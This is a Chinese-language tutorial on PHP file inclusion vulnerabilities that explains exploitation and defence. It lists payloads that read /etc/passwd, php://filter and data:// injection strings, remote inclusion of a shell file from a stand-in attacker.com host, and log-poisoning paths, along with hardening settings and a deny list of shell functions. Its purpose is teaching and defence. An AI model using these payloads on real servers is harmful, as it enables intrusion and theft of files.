文件包含漏洞
字数 1916 2025-08-12 11:34:19
文件包含漏洞详解与防御指南
一、文件包含漏洞概述
文件包含漏洞是指服务器在执行PHP文件时,通过文件包含函数加载另一个文件中的PHP代码时,由于未加限制或限制不到位,导致攻击者可以包含恶意文件执行任意代码的安全漏洞。
二、文件包含函数
PHP中主要的文件包含函数有:
require()- 包含并执行指定文件,出错时产生致命错误require_once()- 同require(),但会检查是否已包含过include()- 包含并执行指定文件,出错时产生警告include_once()- 同include(),但会检查是否已包含过
三、漏洞利用方式
1. 配合文件上传Getshell
利用条件:
- 存在文件上传功能
- 上传文件内容可控
- 知道上传文件的存储路径
利用方法:
- 上传包含恶意代码的非PHP文件(如.txt、.png、.jpg等)
- 通过文件包含漏洞包含上传的恶意文件
- 恶意代码被执行
案例:
- 网站限制上传类型为jpg/png/gif
- 上传包含
<?php phpinfo();?>的图片文件 - 通过文件包含漏洞包含该图片文件
- PHP代码被执行
2. 利用PHP伪协议/远程包含
支持的协议:
file://- 本地文件系统http://- 访问HTTP(s) URLftp://- 访问FTP(s) URLphp://- 访问输入/输出流zlib://- 压缩流data://- 数据(RFC 2397)glob://- 查找匹配的文件路径phar://- PHP归档ssh2://- Secure Shell 2rar://- RARogg://- 音频流expect://- 处理交互式流
关键配置:
allow_url_fopen:控制是否允许打开远程文件(on/off)allow_url_include:控制是否允许包含远程文件(on/off)
利用方法:
- 使用
php://filter/read=convert.base64-encode/resource=读取文件内容 - 使用
data://text/plain,<?php phpinfo();?>直接执行代码 - 使用
http://attacker.com/shell.txt远程包含恶意文件
3. 配合日志文件Getshell
利用条件:
- 知道日志文件的绝对路径
- 有权限读取日志文件
利用方法:
- 修改HTTP请求的User-Agent为恶意PHP代码
- 服务器记录包含恶意代码的访问日志
- 通过文件包含漏洞包含日志文件
- 日志中的PHP代码被执行
常见日志路径:
- Apache:
/var/log/apache2/access.log - Nginx:
/var/log/nginx/access.log
四、其他利用方式
1. 利用Session文件
- 向服务器写入包含PHP代码的Session
- 包含Session文件执行代码
2. 利用临时文件
- 通过上传大文件产生临时文件
- 竞争包含临时文件
3. 利用环境文件
- 包含
/proc/self/environ等环境文件
五、漏洞防御措施
1. 代码层面防御
-
设置白名单:只允许包含特定的、已知安全的文件
$allowed = ['header.php', 'footer.php']; if(in_array($file, $allowed)) { include($file); } -
过滤危险字符:
// 过滤目录遍历字符 $file = str_replace(['../', '..\\'], '', $file); // 检查文件扩展名 if(!preg_match('/\.php$/', $file)) { die('Invalid file type'); } -
固定目录前缀:
$base_dir = '/var/www/includes/'; include($base_dir . $file);
2. 服务器配置防御
-
设置
open_basedir:限制PHP可访问的目录范围open_basedir = /var/www/html/ -
关闭危险配置:
allow_url_include = Off allow_url_fopen = Off -
设置
disable_functions:disable_functions = exec,system,passthru,shell_exec
3. 其他防御措施
- 使用chroot限制PHP运行环境
- 定期更新PHP版本修复已知漏洞
- 对上传文件进行内容检查而不仅是扩展名检查
- 设置严格的文件权限
六、漏洞检测方法
-
手工测试:
- 尝试包含系统文件:
?file=/etc/passwd - 尝试目录遍历:
?file=../../config.php - 尝试伪协议:
?file=php://filter/convert.base64-encode/resource=index.php
- 尝试包含系统文件:
-
自动化工具:
- Burp Suite扫描
- OWASP ZAP
- 专用文件包含漏洞扫描脚本
-
代码审计:
- 查找
include、require等函数 - 检查参数是否经过严格过滤
- 查找
七、总结
文件包含漏洞是一种高危漏洞,可能导致服务器被完全控制。开发人员应:
- 永远不要信任用户输入
- 对包含的文件名进行严格过滤
- 使用白名单而非黑名单
- 遵循最小权限原则配置服务器
安全人员在进行渗透测试时,应全面测试各种可能的利用方式,包括本地文件包含、远程文件包含和各种伪协议的利用。